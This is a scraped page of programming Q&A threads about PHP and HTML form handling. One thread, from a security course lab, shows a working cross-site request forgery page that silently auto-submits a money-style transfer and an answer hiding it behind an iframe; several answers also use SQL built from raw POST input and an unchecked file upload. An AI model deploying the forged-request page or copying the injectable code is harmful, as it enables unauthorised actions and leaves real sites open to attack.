We Keep Coding

Form data sent via POST method gets empty

I am posting the "user" variable to another page i.e. Survey.php as follows:
index.html
<form action="Survey.php" method="post" name="frm">
<div><input type="text" name="user"></div>
<div><input type="submit" value="Start" class="btn btn-primary btn-sm"></div>
</form>
I can access the "user" variable on Survey.php page on its first load.
Now, because I have another form on this page as well, which posts data to itself.
Survey.php
$user = $_POST["user"];
echo 'this is '.$user;
$email = $_POST[email];
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$sql = "INSERT INTO `test_db` (`user`, `email`) VALUES '$user', '$email');";
echo $sql;
}
<form action="survey.php" method="post">
<div><input type="text" name="email"></div>
<div><input type="submit" value="submit" class="btn btn-primary btn-sm"></div>
</form>
I am trying to send "user" and "email" together to the database now. What happens actually is that everytime I click on submit button of the survey.php page, the "user" variable gets empty.

You have to test your posts DATA and user Sesssion.
In your PHP code, you can have something like that
<?php
session_start();
if(isset($_POST['user']))
$_SESSION['user'] = $_POST['user'];
if(isset($_POST['email']))
$_SESSION['email'] = $_POST['email'];
if(isset($_SESSION['user']) AND isset($_SESSION['email'])){
$sql = "INSERT INTO `test_db` (`user`, `email`) VALUES '$_SESSION['user']', '$_SESSION['email']');";
echo $sql;
}
If you don't want to use sessions, you can play with your form like this :
$user = $_POST["user"];
echo 'this is '.$user;
$email = $_POST[email];
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$sql = "INSERT INTO `test_db` (`user`, `email`) VALUES '$user', '$email');";
echo $sql;
}
<form action="survey.php" method="post">
<div><input type="text" name="email"></div>
<div><input type="submit" value="submit" class="btn btn-primary btn-sm"></div>
<input type="hidden" name="user" value="<?php echo $user; ?>">
</form>

You have $user and $email as variable then why are you putting them as strings? The below code should work -
$user = $_POST["user"];
echo 'this is '.$user;
$email = $_POST[email];
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$sql = "INSERT INTO `test_db` (`user`, `email`) VALUES '" . $user . "', '" . $email . "');";
echo $sql;
}
<form action="survey.php" method="post">
<div><input type="text" name="email"></div>
<div><input type="submit" value="submit" class="btn btn-primary btn-sm"></div>
</form>

How could I replace a form with already inserted text after unsuccesfull finding in database?

I have the code in Participate.php file which has a form:
<form method="post" action="input.php" id="Form">
<input type="text" class="form-control" name="txtName" maxlength="20" required style="margin-bottom:20px">
<input type="email" class="form-control" name="txtEmail" aria-describedby="emailHelp" required style="margin-bottom:20px">
<input type="submit" class="btn btn-success" id="btnsubmit" value="Zgłoś się" />
</form>
After unsucessful submit (I check if inserted mail already exist in database) and if no exist I want to refill value for form. This is the input.php code:
<?php
$name = $_POST['txtName'];
$mail = $_POST['txtEmail'];
$description = $_POST['txtDescription'];
$connect = new PDO("mysql:host=4*****3;dbname=3*****b", "3***b", "****");
$connect->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );
$q=$connect->prepare("SELECT mail FROM konkurs WHERE mail LIKE (?)");
$q->bindValue(1, $mail);
$q->execute();
$row_cnt = $q->rowCount();
if($row_cnt == 0){
$query = $connect->prepare("insert into konkurs(name,mail,description)
values(?, ?, ?)");
$query->bindValue(1, $name);
$query->bindValue(2, $mail);
$query->bindValue(3, $description);
try {
$query->execute();
echo ("<script LANGUAGE='JavaScript'>
window.alert('Sent.');
window.location.href='index.html';
</script>");
exit;
} catch (PDOException $e) {
die($e->getMessage());
}
} else {
echo ("<script LANGUAGE='JavaScript'>
window.alert('This mail already exist.');
window.location.href='Participate.php';
document.getElementById('txtName').value = 'nothing';
</script>");
}
?>
The thing is it's redirecting to Participate.php after unsuccesfull sumbition. But it doesn't refill the form.

First of all, you must change your HTML to include the id attribute, for example:
<form method="post" action="input.php" id="Form">
<input type="text" class="form-control" id="txtName" name="txtName" maxlength="20" required style="margin-bottom:20px">
<input type="email" class="form-control" id="txtEmail" name="txtEmail" aria-describedby="emailHelp" required style="margin-bottom:20px">
<input type="submit" class="btn btn-success" id="btnsubmit" value="Zgłoś się" />
</form>
Then, you must move your logic to the same file as the form container (here Participate.php), and remove the redirection for failures. Otherwise, you'll get no visible results, as the redirection would prevent further JavaScript code from running.
// Updated to prevent syntax errors with multiline strings
echo "<script>"
. "window.alert('This mail already exist.');"
. "document.getElementById('txtName').value = 'nothing';"
. "</script>";

How to submit a form invisibly with the help of iframe

This is a question regarding a course in computer security I am taking.
I have the following WORKING HTML document that simply submits a form for me:
<form method="POST" name="transferform"
action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se")
</script>
Now I want to hide the form behind an iframe. I have followed other solutions on the internet to come up with this:
<iframe src = "http://www.kth.se">
<form method="POST" name="transferform"
action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se");
</script>
</iframe>
and this:
<iframe src = "http://www.kth.se">
<form method="POST" name="transferform"
action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
</iframe>
<script>
document.getElementsByName("submission")[0].click();
</script>
, the only difference between them being the location of the closing iframe tag.
My problem is, when I open the document with a browser (that supports iframes), I see the iframe, but I don't get the effect I want from submitting the form with the document.getElementsByName("submission")[0].click(); line. The submission is handled by the website in the transfer.php file, the relevant part of it being:
<?php
require_once("includes/common.php");
nav_start_outer("Transfer");
nav_start_inner();
if($_POST['submission']) {
$recipient = $_POST['recipient'];
$zoobars = (int) $_POST['zoobars'];
$sql = "SELECT Zoobars FROM Person WHERE Username='" .
addslashes($user->username) . "'";
$rs = $db->executeQuery($sql);
$sender_balance = $rs->getValueByNr(0,0) - $zoobars;
$sql = "SELECT Username, Zoobars FROM Person WHERE Username='" .
addslashes($recipient) . "'";
$rs = $db->executeQuery($sql);
$recipient_exists = $rs->getValueByNr(0,0);
if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists) {
$sql = "UPDATE Person SET Zoobars = $sender_balance " .
"WHERE Username='" . addslashes($user->username) . "'";
$db->executeQuery($sql);
$sql = "SELECT Zoobars FROM Person WHERE Username='".
addslashes($recipient) . "'";
$rs = $db->executeQuery($sql);
$recipient_balance = $rs->getValueByNr(0,0) + $zoobars;
$sql = "UPDATE Person SET Zoobars = $recipient_balance " .
"WHERE Username='" . addslashes($recipient) . "'";
$db->executeQuery($sql);
$result = "Sent $zoobars zoobars";
}
else $result = "Transfer to $recipient failed.";
}
?>
As I know for a fact that the HTML document I have crafted works without the iframe, I believe that the execution of the script is somehow hindered or altered by the iframe. Does anyone know if this is true? If not, what is the reason for this altered or non-functionality?

You want to hide the form behind an iframe, if I got you right.
So
<form method="POST" name="transferform"
action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
<iframe style="background-color:grey;display:block;position:fixed;top:0px;left:0px;right:0px;bottom:0px;z-index:9999"></iframe>
<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se")
</script>
Result: https://jsfiddle.net/ccj27ojf/

Double form will not submit second form

Hi I have two HTML forms when the one is submit a JavaScript function submits the second the one form works but the second doesn't I'm not sure if it is the forms or the post pages can any one help.
The one form sends an email this is sending the email correctly sending the correct data to the correct email address.
The second form is meant to upload a file it doesn't seem to be doing anything at all there are now errors displayed to the screen I have done a try catch and nothing is displayed i have also looked into the logs and nothing is displayed I'm
HTML
<div id="loginborder">
<form id ="upload" enctype="multipart/form-data" action="upload_logo.php" method="POST">
<input name="userfile" type="file" />
<input type="submit" onsubmit="alert()" value="dont press" disabled>
</form>
<div id="login">
<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>">
<input type="hidden" name="subject" value="Can you create me a Contributors account">
<input type="text" name="first_name" id="first_name" placeholder="Name">
<input type="text" name="company" id="company" placeholder="Company Name">
<input type="checkbox" id="tc" onclick= "checkbox()">
<input type="submit" id="submit" onsubmit="alert()" name="submit" value="Register" disabled>
</form>
</div>
</div>
<?php
}
else
// the user has submitted the form
{
// Check if the "subject" input field is filled out
if (isset($_POST["subject"]))
{
sleep(5);
$subject = $_POST["subject"];
$first = $_POST["first_name"];
$company = $_POST["company"];
$therest = "First name= $first" . "\r\n" . "Company= $company" . "\r\n";
}
echo "$therest <br>";
$first = wordwrap($first, 70);
mail("careersintheclassroom01#gmail.com",$subject,$name,$therest,"subject: $subject\n");
echo "Thank you for sending us feedback";
header( "refresh:5;url=index.php" );
}
?>
</body>
</html>
javascript
<script type="text/javascript">
function alert()
{
document.getElementById("upload").submit();
}
function checkbox(){
if (document.getElementById("tc").checked == true)
document.getElementById("submit").disabled = false;
else
document.getElementById("submit").disabled = true;
}
$('input[placeholder],input[placeholder],input[placeholder],input[placeholder],input[placeholder]').placeholder();
</script>
Upload_Logo.php
<html>
<head>
</head>
</html>
<?php
$uploaddir = "./images/";
echo $uploaddir;
mkdir($uploaddir, true);
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo "<br />";
echo " <b>Your media has been uploaded</b><br /><br /> ";
?>
the <?php echo $_SERVER["PHP_SELF"];?> on the second form calls the php at the bottom of the page this is the one that is working it is the upload_logo.php that is not currently working any help would be much appreciated

You're trying to submit 2 forms at once. That can't work, as your browser can only be directed to 1 page at a time, so your attempt to submit the upload form with JavaScript is cancelled by the contact form being submitted. I'd suggest that you move the file input into the same form as the contact fields, and handle them both in your "the user has submitted the form" section.
Something like this should do the trick:
<?php
if (!isset($_POST["submit"]))
{
?>
<div id="loginborder">
<div id="login">
<form enctype="multipart/form-data" method="POST">
<input name="userfile" type="file" />
<input type="hidden" name="subject" value="Can you create me a Contributors account">
<input type="text" name="first_name" id="first_name" placeholder="Name">
<input type="text" name="company" id="company" placeholder="Company Name">
<input type="checkbox" id="tc" onclick="checkbox()">
<input type="submit" id="submit" name="submit" value="Register" disabled>
</form>
</div>
</div>
<?php
}
else
// the user has submitted the form
{
// Check if the "subject" input field is filled out
if (!empty($_POST["subject"]))
{
sleep(5);
$subject = $_POST["subject"];
$first = $_POST["first_name"];
$company = $_POST["company"];
$therest = "First name= $first" . "\r\n" . "Company= $company" . "\r\n";
echo "$therest <br>";
$first = wordwrap($first, 70);
mail("careersintheclassroom01#gmail.com",$subject,$name,$therest,"subject: $subject\n");
echo "Thank you for sending us feedback";
header( "refresh:5;url=index.php" );
}
if (isset($_FILES['userfile']['name'])) {
$uploaddir = "./images/";
if (!file_exists($uploaddir)) {
mkdir($uploaddir, true);
}
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
echo "<br />";
echo " <b>Your media has been uploaded</b><br /><br /> ";
}
}
?>
</body>

try this after $uploadfile = ...
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);

when you submit 2nd form e-mail would be generated becausue it triggers if(isset($_POST["subject"])) condition and the code will follow the next commands.
But when you submit 1st form, it will call onsubmit="alert(); function and that function again submits the same form because of these.
function alert()
{
document.getElementById("upload").submit();
}
so you are just triggering a never ending loop.
My solution is
<script type="text/javascript">
function alert()
{
function checkbox(){
if (document.getElementById("tc").checked == true)
document.getElementById("submit").disabled = false;
else
document.getElementById("submit").disabled = true;
}
}
$('input[placeholder],input[placeholder],input[placeholder],input[placeholder],input[placeholder]').placeholder();
</script>
I'am not 100% sure about your requirement. hope you can get the point what i'am making. gl!

Cheking if form of submited email is correct

I've created this script to check form of email user will enter into textbox
function checkEmail() {
var mail = document.getElementById('mail');
var filter = /^([a-zA-Z0-9_\.\-])+\#(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; /* regex koda najdena na codeproject.com*/
if (!filter.test(mail.value))
{
alert('enter valid email');
mail.focus;
return false;
}
It's used to check form in this script and suposed to show you alert, before you are able to continue
<?php
$flag = 0;
if(isset($_POST['submit']))
{
$con = mysql_connect("localhost","root","");
if (!$con){
die("cannot connect: " . mysql_error());
}
mysql_select_db("strek", $con);
$nar_db="SELECT * FROM narocniki;";
$result = mysql_query($nar_db, $con);
while($row=mysql_fetch_array($result))
{
if($_POST['mail']==$row['mail'])
$flag = 1;
}
if($flag==0)
{
$sql = "INSERT INTO narocniki (mail) VALUE ('$_POST[mail]')";
mysql_query($sql, $con);
mysql_close($con);
?>
<p align="center" class="vsebina" >
Tvoj mail je bil uspešno sprejet!</p>
<p align="center"><input type="button" name="return" value="nazaj"></p>
<?php
}
else
{
echo '<p align="center" class="vsebina">Naveden mail je že v bazi naročnikov!</p>';
?>
<p align="center"><input type="button" name="return" value="nazaj"></p>
<?php
}
}
else
{
include("vsebina/tabdog.html");
?>
<p align="center" class="vsebina" id="mail">
naroči se na najnovejše novice</p>
<form action="dogodki.php" method="post">
<p align="center" class="vsebina">vnesi svoj e-naslov: <input type="text" name="mail" id="mail" required>
<input type="submit" name="submit" value="potrdi" onClick="return checkEmail()">
</p>
</form>
<?php
}
?>
It's probably just something missing
Should I rather just include script inside the code, and where would be the best to place it-weather directly in head or rather somewhere in between
Is this even possible in my code, because it already checks if mail exists in database, and would then also need to check the form of email

Instead of doing it in the onclick attribute of the submit button, try doing it in the onsubmit attribute of the form:
<form action="dogodki.php" method="post" onsubmit="return checkEmail()">